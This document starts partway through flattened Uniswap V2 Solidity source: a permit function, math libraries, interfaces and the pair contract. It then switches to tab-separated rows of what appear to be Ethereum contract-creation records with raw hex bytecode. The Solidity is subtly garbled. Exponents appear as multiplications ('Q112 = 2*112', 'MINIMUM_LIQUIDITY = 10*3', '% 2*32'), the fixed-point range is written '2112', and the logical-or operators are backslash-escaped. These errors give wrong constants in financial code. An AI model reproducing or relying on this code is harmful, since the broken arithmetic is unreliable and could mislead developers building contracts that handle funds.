value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2112 - 1] // resolution: 1 / 2112 library UQ112x112 { uint224 constant Q112 = 2*112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10*3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 \|\| abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2*32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 \|\| amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 \|\| amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1	19,499,726	0ea4100c7cee71bed3be51d9357096ff92f271a327bea06b886dbd75ddf37992	bba85cb7968fcad36db078c5c9ec1cb296bbac1c44e0fc6b37d3d3623f443409	3d3d5a3c8043886236916bef6190c1828c88b65e	3d3d5a3c8043886236916bef6190c1828c88b65e	58bb7fd01eb760ec3bde198651d4adcb0f527bd5	6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610035575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350335f908152600360205260408082208054600160ff1991821681179092553084529190922080549091169091179055610abb806100b25f395ff3fe608060405260043610610092575f3560e01c80638119c065116100575780638119c065146101635780638da5cb5b14610177578063ba49f37114610193578063f2fde38b146101b2578063fad9aba3146101d1575f80fd5b806311df9995146100b75780631b862027146100f257806337a25dc214610111578063715018a6146101305780637fa98ede14610144575f80fd5b366100b357325f9081526003602052604090205460ff166100b1575f80fd5b005b5f80fd5b3480156100c2575f80fd5b506002546100d6906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100fd575f80fd5b506100b161010c366004610823565b6101e5565b34801561011c575f80fd5b506100b161012b36600461085e565b610223565b34801561013b575f80fd5b506100b16102d7565b34801561014f575f80fd5b506100b161015e36600461085e565b610348565b34801561016e575f80fd5b506100b161046e565b348015610182575f80fd5b505f546001600160a01b03166100d6565b34801561019e575f80fd5b506100b16101ad3660046108ac565b6104e3565b3480156101bd575f80fd5b506100b16101cc36600461085e565b610566565b3480156101dc575f80fd5b506100b161064d565b5f546001600160a01b031633146102175760405162461bcd60e51b815260040161020e9061097e565b60405180910390fd5b6102208161069f565b50565b5f546001600160a01b0316331461024c5760405162461bcd60e51b815260040161020e9061097e565b600280546001600160a01b0319166001600160a01b0383811691821790925560015460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af11580156102af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d391906109b3565b5050565b5f546001600160a01b031633146103005760405162461bcd60e51b815260040161020e9061097e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103715760405162461bcd60e51b815260040161020e9061097e565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d991906109ce565b9050816001600160a01b031663a9059cbb6103fb5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610445573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046991906109b3565b505050565b6002546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d891906109ce565b90506102208161069f565b5f546001600160a01b0316331461050c5760405162461bcd60e51b815260040161020e9061097e565b5f5b8251811015610469578160035f85848151811061052d5761052d6109e5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161050e565b5f546001600160a01b0316331461058f5760405162461bcd60e51b815260040161020e9061097e565b6001600160a01b0381166105f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161020e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161020e9061097e565b60405133904780156108fc02915f818181858888f19350505050158015610220573d5f803e3d5ffd5b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106de576106de6109e5565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610735573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075991906109f9565b8160018151811061076c5761076c6109e5565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b815291169063791ac947906107b19085905f90869030904290600401610a14565b5f604051808303815f87803b1580156107c8575f80fd5b505af11580156107da573d5f803e3d5ffd5b504792505081159050610469575f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561081d573d5f803e3d5ffd5b50505050565b5f60208284031215610833575f80fd5b5035919050565b6001600160a01b0381168114610220575f80fd5b80356108598161083a565b919050565b5f6020828403121561086e575f80fd5b81356108798161083a565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610220575f80fd5b803561085981610894565b5f80604083850312156108bd575f80fd5b823567ffffffffffffffff808211156108d4575f80fd5b818501915085601f8301126108e7575f80fd5b81356020828211156108fb576108fb610880565b8160051b604051601f19603f8301168101818110868211171561092057610920610880565b60405292835281830193508481018201928984111561093d575f80fd5b948201945b83861015610962576109538661084e565b85529482019493820193610942565b965061097190508782016108a1565b9450505050509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156109c3575f80fd5b815161087981610894565b5f602082840312156109de575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610a09575f80fd5b81516108798161083a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a645784516001600160a01b031683529383019391830191600101610a3f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122029884de69b657d41f9b281705485a0ca8a41c030d7e41292264d88551c58e0da64736f6c63430008160033	608060405260043610610092575f3560e01c80638119c065116100575780638119c065146101635780638da5cb5b14610177578063ba49f37114610193578063f2fde38b146101b2578063fad9aba3146101d1575f80fd5b806311df9995146100b75780631b862027146100f257806337a25dc214610111578063715018a6146101305780637fa98ede14610144575f80fd5b366100b357325f9081526003602052604090205460ff166100b1575f80fd5b005b5f80fd5b3480156100c2575f80fd5b506002546100d6906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100fd575f80fd5b506100b161010c366004610823565b6101e5565b34801561011c575f80fd5b506100b161012b36600461085e565b610223565b34801561013b575f80fd5b506100b16102d7565b34801561014f575f80fd5b506100b161015e36600461085e565b610348565b34801561016e575f80fd5b506100b161046e565b348015610182575f80fd5b505f546001600160a01b03166100d6565b34801561019e575f80fd5b506100b16101ad3660046108ac565b6104e3565b3480156101bd575f80fd5b506100b16101cc36600461085e565b610566565b3480156101dc575f80fd5b506100b161064d565b5f546001600160a01b031633146102175760405162461bcd60e51b815260040161020e9061097e565b60405180910390fd5b6102208161069f565b50565b5f546001600160a01b0316331461024c5760405162461bcd60e51b815260040161020e9061097e565b600280546001600160a01b0319166001600160a01b0383811691821790925560015460405163095ea7b360e01b8152921660048301525f1960248301529063095ea7b3906044016020604051808303815f875af11580156102af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d391906109b3565b5050565b5f546001600160a01b031633146103005760405162461bcd60e51b815260040161020e9061097e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103715760405162461bcd60e51b815260040161020e9061097e565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d991906109ce565b9050816001600160a01b031663a9059cbb6103fb5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610445573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061046991906109b3565b505050565b6002546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d891906109ce565b90506102208161069f565b5f546001600160a01b0316331461050c5760405162461bcd60e51b815260040161020e9061097e565b5f5b8251811015610469578160035f85848151811061052d5761052d6109e5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161050e565b5f546001600160a01b0316331461058f5760405162461bcd60e51b815260040161020e9061097e565b6001600160a01b0381166105f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161020e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161020e9061097e565b60405133904780156108fc02915f818181858888f19350505050158015610220573d5f803e3d5ffd5b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f906106de576106de6109e5565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610735573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075991906109f9565b8160018151811061076c5761076c6109e5565b6001600160a01b03928316602091820292909201015260015460405163791ac94760e01b815291169063791ac947906107b19085905f90869030904290600401610a14565b5f604051808303815f87803b1580156107c8575f80fd5b505af11580156107da573d5f803e3d5ffd5b504792505081159050610469575f80546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561081d573d5f803e3d5ffd5b50505050565b5f60208284031215610833575f80fd5b5035919050565b6001600160a01b0381168114610220575f80fd5b80356108598161083a565b919050565b5f6020828403121561086e575f80fd5b81356108798161083a565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610220575f80fd5b803561085981610894565b5f80604083850312156108bd575f80fd5b823567ffffffffffffffff808211156108d4575f80fd5b818501915085601f8301126108e7575f80fd5b81356020828211156108fb576108fb610880565b8160051b604051601f19603f8301168101818110868211171561092057610920610880565b60405292835281830193508481018201928984111561093d575f80fd5b948201945b83861015610962576109538661084e565b85529482019493820193610942565b965061097190508782016108a1565b9450505050509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156109c3575f80fd5b815161087981610894565b5f602082840312156109de575f80fd5b5051919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610a09575f80fd5b81516108798161083a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a645784516001600160a01b031683529383019391830191600101610a3f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122029884de69b657d41f9b281705485a0ca8a41c030d7e41292264d88551c58e0da64736f6c63430008160033
1	19,499,731	6f3cb989e0840bd3cc4604eed3061d3e1c6f7778008a9b4d998b75a2e6c10d3b	6f88b048bba46a9933ca5296ba52b8e47737a7ac88cf1adc4078a1003ad44a56	ed2b0d2a2d55f57a65e11be0926133b50e72af5a	1f98431c8ad98523631ae4a59f267346ea31f984	be24f9952bf2a15bc4d2661151049d9588d6c0cb	6101606040523480156200001257600080fd5b503060601b60805260408051630890357360e41b81529051600091339163890357309160048082019260a092909190829003018186803b1580156200005657600080fd5b505afa1580156200006b573d6000803e3d6000fd5b505050506040513d60a08110156200008257600080fd5b508051602080830151604084015160608086015160809096015160e896871b6001600160e81b0319166101005291811b6001600160601b031990811660e05292811b831660c0529390931b1660a052600282810b900b90921b610120529150620000f79082906200010f811b62002b8417901c565b60801b6001600160801b03191661014052506200017d565b60008082600281900b620d89e719816200012557fe5b05029050600083600281900b620d89e8816200013d57fe5b0502905060008460020b83830360020b816200015557fe5b0560010190508062ffffff166001600160801b038016816200017357fe5b0495945050505050565b60805160601c60a05160601c60c05160601c60e05160601c6101005160e81c6101205160e81c6101405160801c61567e6200024a60003980611fee5280614b5f5280614b96525080610c0052806128fd5280614bca5280614bfc525080610cef52806119cb5280611a0252806129455250806111c75280611a855280611ef4528061244452806129215280613e6b5250806108d252806112f55280611a545280611e8e52806123be5280613d2252508061207b528061227d52806128d9525080612bfb525061567e6000f3fe608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370cf754a116100ee578063c45a015511610097578063ddca3f4311610071578063ddca3f4314610800578063f305839914610820578063f30dba9314610828578063f637731d146108aa576101ae565b8063c45a0155146107d1578063d0c93a7c146107d9578063d21220a7146107f8576101ae565b8063883bdbfd116100c8578063883bdbfd14610633578063a34123a71461073c578063a38807f214610776576101ae565b806370cf754a146105c65780638206a4d1146105ce57806385b66729146105f6576101ae565b80633850c7bd1161015b578063490e6cbc11610135578063490e6cbc146104705780634f1eb3d8146104fc578063514ea4bf1461054d5780635339c296146105a6576101ae565b80633850c7bd1461035b5780633c8a7d8d146103b45780634614131914610456576101ae565b80631ad8b03b1161018c5780631ad8b03b146102aa578063252c09d7146102e157806332148f6714610338576101ae565b80630dfe1681146101b3578063128acb08146101d75780631a68650214610286575b600080fd5b6101bb6108d0565b604080516001600160a01b039092168252519081900360200190f35b61026d600480360360a08110156101ed57600080fd5b6001600160a01b0382358116926020810135151592604082013592606083013516919081019060a08101608082013564010000000081111561022e57600080fd5b82018360208201111561024057600080fd5b8035906020019184600183028401116401000000008311171561026257600080fd5b5090925090506108f4565b6040805192835260208301919091528051918290030190f35b61028e6114ad565b604080516001600160801b039092168252519081900360200190f35b6102b26114bc565b60405180836001600160801b03168152602001826001600160801b031681526020019250505060405180910390f35b6102fe600480360360208110156102f757600080fd5b50356114d6565b6040805163ffffffff909516855260069390930b60208501526001600160a01b039091168383015215156060830152519081900360800190f35b6103596004803603602081101561034e57600080fd5b503561ffff1661151c565b005b610363611616565b604080516001600160a01b03909816885260029690960b602088015261ffff9485168787015292841660608701529216608085015260ff90911660a0840152151560c0830152519081900360e00190f35b61026d600480360360a08110156103ca57600080fd5b6001600160a01b03823516916020810135600290810b92604083013590910b916001600160801b036060820135169181019060a08101608082013564010000000081111561041757600080fd5b82018360208201111561042957600080fd5b8035906020019184600183028401116401000000008311171561044b57600080fd5b509092509050611666565b61045e611922565b60408051918252519081900360200190f35b6103596004803603608081101561048657600080fd5b6001600160a01b0382351691602081013591604082013591908101906080810160608201356401000000008111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460018302840111640100000000831117156104f157600080fd5b509092509050611928565b6102b2600480360360a081101561051257600080fd5b506001600160a01b03813516906020810135600290810b91604081013590910b906001600160801b0360608201358116916080013516611d83565b61056a6004803603602081101561056357600080fd5b5035611f9d565b604080516001600160801b0396871681526020810195909552848101939093529084166060840152909216608082015290519081900360a00190f35b61045e600480360360208110156105bc57600080fd5b503560010b611fda565b61028e611fec565b610359600480360360408110156105e457600080fd5b5060ff81358116916020013516612010565b6102b26004803603606081101561060c57600080fd5b506001600160a01b03813516906001600160801b036020820135811691604001351661220f565b6106a36004803603602081101561064957600080fd5b81019060208101813564010000000081111561066457600080fd5b82018360208201111561067657600080fd5b8035906020019184602083028401116401000000008311171561069857600080fd5b5090925090506124dc565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156106e75781810151838201526020016106cf565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561072657818101518382015260200161070e565b5050505090500194505050505060405180910390f35b61026d6004803603606081101561075257600080fd5b508035600290810b91602081013590910b90604001356001600160801b0316612569565b6107a06004803603604081101561078c57600080fd5b508035600290810b9160200135900b6126e0565b6040805160069490940b84526001600160a01b03909216602084015263ffffffff1682820152519081900360600190f35b6101bb6128d7565b6107e16128fb565b6040805160029290920b8252519081900360200190f35b6101bb61291f565b610808612943565b6040805162ffffff9092168252519081900360200190f35b61045e612967565b6108486004803603602081101561083e57600080fd5b503560020b61296d565b604080516001600160801b039099168952600f9790970b602089015287870195909552606087019390935260069190910b60808601526001600160a01b031660a085015263ffffffff1660c0840152151560e083015251908190036101000190f35b610359600480360360208110156108c057600080fd5b50356001600160a01b03166129db565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806108ff612bf0565b85610936576040805162461bcd60e51b8152602060048201526002602482015261415360f01b604482015290519081900360640190fd5b6040805160e0810182526000546001600160a01b0381168252600160a01b8104600290810b810b900b602083015261ffff600160b81b8204811693830193909352600160c81b810483166060830152600160d81b8104909216608082015260ff600160e81b8304811660a0830152600160f01b909204909116151560c082018190526109ef576040805162461bcd60e51b81526020600482015260036024820152624c4f4b60e81b604482015290519081900360640190fd5b87610a3a5780600001516001600160a01b0316866001600160a01b0316118015610a35575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038716105b610a6c565b80600001516001600160a01b0316866001600160a01b0316108015610a6c57506401000276a36001600160a01b038716115b610aa3576040805162461bcd60e51b815260206004820152600360248201526214d41360ea1b604482015290519081900360640190fd5b6000805460ff60f01b191681556040805160c08101909152808a610ad25760048460a0015160ff16901c610ae5565b60108460a0015160ff1681610ae357fe5b065b60ff1681526004546001600160801b03166020820152604001610b06612c27565b63ffffffff168152602001600060060b815260200160006001600160a01b031681526020016000151581525090506000808913905060006040518060e001604052808b81526020016000815260200185600001516001600160a01b03168152602001856020015160020b81526020018c610b8257600254610b86565b6001545b815260200160006001600160801b0316815260200184602001516001600160801b031681525090505b805115801590610bd55750886001600160a01b031681604001516001600160a01b031614155b15610f9f57610be261560e565b60408201516001600160a01b031681526060820151610c25906006907f00000000000000000000000000000000000000000000000000000000000000008f612c2b565b15156040830152600290810b810b60208301819052620d89e719910b1215610c5657620d89e7196020820152610c75565b6020810151620d89e860029190910b1315610c7557620d89e860208201525b610c828160200151612d6d565b6001600160a01b031660608201526040820151610d13908d610cbc578b6001600160a01b031683606001516001600160a01b031611610cd6565b8b6001600160a01b031683606001516001600160a01b0316105b610ce4578260600151610ce6565b8b5b60c085015185517f000000000000000000000000000000000000000000000000000000000000000061309f565b60c085015260a084015260808301526001600160a01b031660408301528215610d7557610d498160c00151826080015101613291565b825103825260a0810151610d6b90610d6090613291565b6020840151906132a7565b6020830152610db0565b610d828160a00151613291565b825101825260c08101516080820151610daa91610d9f9101613291565b6020840151906132c3565b60208301525b835160ff1615610df6576000846000015160ff168260c0015181610dd057fe5b60c0840180519290910491829003905260a0840180519091016001600160801b03169052505b60c08201516001600160801b031615610e3557610e298160c00151600160801b8460c001516001600160801b03166132d9565b60808301805190910190525b80606001516001600160a01b031682604001516001600160a01b03161415610f5e57806040015115610f35578360a00151610ebf57610e9d846040015160008760200151886040015188602001518a606001516008613389909695949392919063ffffffff16565b6001600160a01b03166080860152600690810b900b6060850152600160a08501525b6000610f0b82602001518e610ed657600154610edc565b84608001515b8f610eeb578560800151610eef565b6002545b608089015160608a015160408b0151600595949392919061351c565b90508c15610f17576000035b610f258360c00151826135ef565b6001600160801b031660c0840152505b8b610f44578060200151610f4d565b60018160200151035b600290810b900b6060830152610f99565b80600001516001600160a01b031682604001516001600160a01b031614610f9957610f8c82604001516136a5565b600290810b900b60608301525b50610baf565b836020015160020b816060015160020b1461107a57600080610fed86604001518660400151886020015188602001518a606001518b6080015160086139d1909695949392919063ffffffff16565b604085015160608601516000805461ffff60c81b1916600160c81b61ffff958616021761ffff60b81b1916600160b81b95909416949094029290921762ffffff60a01b1916600160a01b62ffffff60029490940b93909316929092029190911773ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909116179055506110ac9050565b60408101516000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169190911790555b8060c001516001600160801b031683602001516001600160801b0316146110f25760c0810151600480546001600160801b0319166001600160801b039092169190911790555b8a1561114257608081015160015560a08101516001600160801b03161561113d5760a0810151600380546001600160801b031981166001600160801b03918216909301169190911790555b611188565b608081015160025560a08101516001600160801b0316156111885760a0810151600380546001600160801b03808216600160801b92839004821690940116029190911790555b8115158b1515146111a157602081015181518b036111ae565b80600001518a0381602001515b90965094508a156112e75760008512156111f0576111f07f00000000000000000000000000000000000000000000000000000000000000008d87600003613b86565b60006111fa613cd4565b9050336001600160a01b031663fa461e3388888c8c6040518563ffffffff1660e01b8152600401808581526020018481526020